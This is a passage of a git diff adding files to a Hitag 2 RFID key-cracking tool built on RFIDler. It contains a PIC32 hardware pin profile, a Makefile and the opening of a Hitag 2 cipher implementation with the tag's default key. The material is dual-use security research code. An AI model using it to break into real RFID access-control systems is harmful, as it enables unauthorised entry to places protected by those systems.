into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack4/Makefile b/tools/hitag2crack/crack4/Makefile new file mode 100644 index 000000000..82e7f2560 --- /dev/null +++ b/tools/hitag2crack/crack4/Makefile @@ -0,0 +1,20 @@ +WARN=-Wall +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS=-lpthread + +all: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o + cc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS) + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +clean: + rm -rf *.o ht2crack4 + +fresh: clean all diff --git a/tools/hitag2crack/crack4/hitagcrypto.c b/tools/hitag2crack/crack4/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t 